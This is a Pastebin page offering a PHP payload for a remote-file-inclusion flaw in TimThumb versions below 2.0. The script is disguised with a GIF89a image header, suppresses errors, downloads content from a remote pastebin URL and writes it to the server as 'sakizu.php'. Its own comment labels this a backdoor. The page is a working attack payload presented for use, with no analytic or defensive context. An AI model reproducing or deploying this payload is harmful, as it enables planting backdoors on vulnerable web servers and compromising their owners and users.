Advertisement
Sakizu

Timthumb < 2.0 RFI Payload

Sep 18th, 2019
412
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.39 KB | None | 0 0
  1. GIF89a;
  2. <?php
  3. error_reporting(0);
  4. $filename="sakizu.php";
  5. $fget=file_get_contents("https://pastebin.com/raw/ntq2g95Z");
  6.  
  7. // WGET Backdoor
  8. $path=getcwd().DIRECTORY_SEPARATOR;
  9. $fileopen=fopen("$path/$filename",'w');  
  10. $execfile=fwrite($fileopen,$fget);
  11.     if($execfile)
  12.     {
  13.         echo "Success: $path$filename";
  14.     }
  15.     else {
  16.         echo "Failed execute newfile $filename in $path";
  17.     }
  18. // EOF
  19. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement